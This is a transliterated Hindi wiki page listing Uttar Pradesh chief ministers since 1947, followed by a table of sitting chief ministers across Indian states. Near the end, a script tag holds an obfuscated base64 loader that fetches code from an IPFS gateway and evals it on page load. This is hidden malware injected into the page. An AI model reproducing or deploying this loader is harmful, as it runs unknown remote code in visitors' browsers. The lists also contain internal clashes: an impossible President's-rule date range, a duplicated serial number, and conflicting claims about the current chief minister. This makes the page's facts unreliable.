उत्तर प्रदेश के मुख्यमंत्री

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
uttar pradesh ke mukhyamantriyoan ki soochi
kramaank nam padabhar grahan padamukti dal / parti
1 goviand vallabh pant 15 agast 1947 28 disanbar 1954 kaangres
2 sampoornanand 28 disanbar 1954 7 disanbar 1960 kaangres
3 chandrabhanu gupta 7 disanbar 1960 2 aktoobar 1963 kaangres
4 sucheta kripalani 2 aktoobar 1963 14 march 1967 kaangres
5 chandrabhanu gupta 14 march 1967 3 aprail 1967 kaangres
6 charan sianh 3 aprail 1967 17 faravari 1968 bharatiy lokadal
rashtrapati shasan (17 faravari 1968 se 26 faravari 1969 tak)
7 chandrabhanu gupta 26 faravari 1969 18 pharavri 1970 kaangres
8 charan sianh 18 faravari 1970 2 aktoobar 1970 bharatiy lokadal
rashtrapati shasan ( 2 aktoobar 1970 se 18 aktoobar 1970 tak)
9 tribhuvan narayan sianh 18 aktoobar 1970 4 aprail 1971 kaangres
10 kamalapati tripathi 4 aprail, 1971 12 joon, 1973 kaangres
rashtrapati shasan (12 joon, 1973 se 8 joon, 1973 tak)
11 hemavati nandan bahuguna 8 navambar, 1973 30 navambar, 1975 kaangres
rashtrapati shasan (30 navambar, 1975 se 21 janavari, 1976)
12 narayan datt tivari 21 janavari, 1976 30 aprail, 1977 kaangres
rashtrapati shasan (30 aprail, 1977 se 23 joon, 1977 tak)
13 ramanaresh yadav 23 joon, 1977 28 faravari, 1979 janata parti
14 banarasi das 28 faravari 1979 17 faravari 1980 janata parti
rashtrapati shasan (17 faravari, 1980 se 9 joon, 1980 tak)
15 vishvanath pratap sianh 9 joon, 1980 19 julaee, 1982 kaangres
16 shripati mishr 19 julaee, 1982 3 agast, 1984 kaangres
17 narayan datt tivari 3 agast, 1984 24 sitambar, 1985 kaangres
18 vir bahadur sianh 24 sitanbar 1985 25 joon 1988 kaangres
19 narayanadatt tivari 25 joon, 1988 5 disambar, 1989 kaangres
20 mulayam sianh yadav 5 disambar 1989 24 joon 1991 janata dal
21 kalyan sianh 24 joon 1991 6 disanbar 1992 bhajapa
rashtrapati shasan (6 disambar, 1992 se 4 disambar, 1993 tak)
22 mulayam sianh yadav 5 disambar, 1993 3 joon, 1995 samajavadi parti
23 mayavati 3 joon, 1995 18 aktubar, 1995 basapa
rashtrapati shasan (18 aktubar, 1995 se 21 march, 1997 tak)
24 mayavati 21 march, 1997 21 sitambar, 1997 basapa
25 kalyan sianh 21 sitambar, 1997 21 faravari, 1998 bhajapa
26 jagadanbika pal 21 faravari, 1998 23 faravari, 1998 kaangres
27 kalyan sianh 23 faravari, 1998 12 navambar, 1999 bhajapa
28 ramaprakash gupt 12 navambar, 1999 28 aktubar, 2000 bhajapa
29 rajanath sianh 28 aktoobar 2000 8 march 2002 bhajapa
rashtrapati shasan (8 march 2002 se 3 mee 2002 tak)
30 mayavati 3 mee 2002 29 agast 2003 basapa
31 mulayam sianh yadav 29 agast 2003 11 mee 2007 samajavadi parti
32 mayavati 13 mee 2007 7 march, 2012 basapa
32 akhilesh yadav 15 march 2012 vartaman samajavadi parti


bahari kadiyaan

sanbandhit lekh

bharatiy rajyoan mean padasth mukhyamantri
kramaank rajy mukhyamantri tasvir parti padabhar grahan
1. arunachal pradesh pema khaandoo 80px|center bhajapa 17 julaee, 2016
2. asam himanta bisva sarama 80px|center bhajapa 10 mee, 2021
3. aandhr pradesh vaee es jaganamohan reddi 80px|center vaeeesar kaangres parti 30 mee, 2019
4. uttar pradesh yogi adityanath 80px|center bhajapa 19 march, 2017
5. uttarakhand pushkar sianh dhami 80px|center bhajapa 4 julaee, 2021
6. odisha navin patanayak 80px|center bijoo janata dal 5 march, 2000
7. karnatak siddharamaiya 80px|center bharatiy rashtriy kaangres 20 mee, 2023
8. keral pinaraee vijayan 80px|center marksavadi kamyunist parti 25 mee, 2016
9. gujarat bhoopendr patel 80px|center bhajapa 12 sitambar, 2021
10. gova pramod savant 80px|center bhajapa 19 march, 2019
11. chhattisagadh vishnu dev say 80px|center bharatiy janata parti 13 disambar, 2023
12. jammoo-kashmir rikt (rajyapal shasan) lagoo nahian 20 joon, 2018
13. jharakhand hemant soren 80px|center jharakhand mukti morcha 29 disambar, 2019
14. tamil nadu em. ke. stalin 80px|center dravi d munnetr k dagam 7 mee, 2021
15. tripura manik saha 80px|center bhajapa 15 mee, 2022
16. telangana anumula revant reddi 80px|center bharatiy rashtriy kaangres 7 disanbar, 2023
17. dilli aravind kejarival 80px|center ap 14 faravari, 2015
18. nagalaind nephiyoo riyo 80px|center enadipipi 8 march, 2018
19. panjab bhagavant man 80px|center am adami parti 16 march, 2022
20. pashchim bangal mamata banarji 80px|center trinamool kaangres 20 mee, 2011
21. puducheri en. rangasvami 80px|center kaangres 7 mee, 2021
22. bihar nitish kumar 80px|center jadayoo 27 julaee, 2017
23. manipur en. biren sianh 80px|center bhajapa 15 march, 2017
24. madhy pradesh mohan yadav 80px|center bhajapa 13 disanbar, 2023
25. maharashtr ekanath shiande 80px|center shiv sena 30 joon, 2022
26. mizoram laladuhoma 80px|center joram pipals moovameant 8 disambar, 2023
27. meghalay k aaunarad sangama 80px|center enapipi 6 march, 2018
28. rajasthan bhajan lal sharma 80px|center bharatiy janata parti 15 disambar, 2023
29. sikkim prem sianh tamaang 80px|center sikkim kraantikari morcha 27 mee, 2019
30. hariyana nayab sianh saini 80px|center bhajapa 12 march, 2024
31. himachal pradesh sukhaviandar sianh sukkhoo 80px|center bharatiy rashtriy kaangres 11 disambar, 2022

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah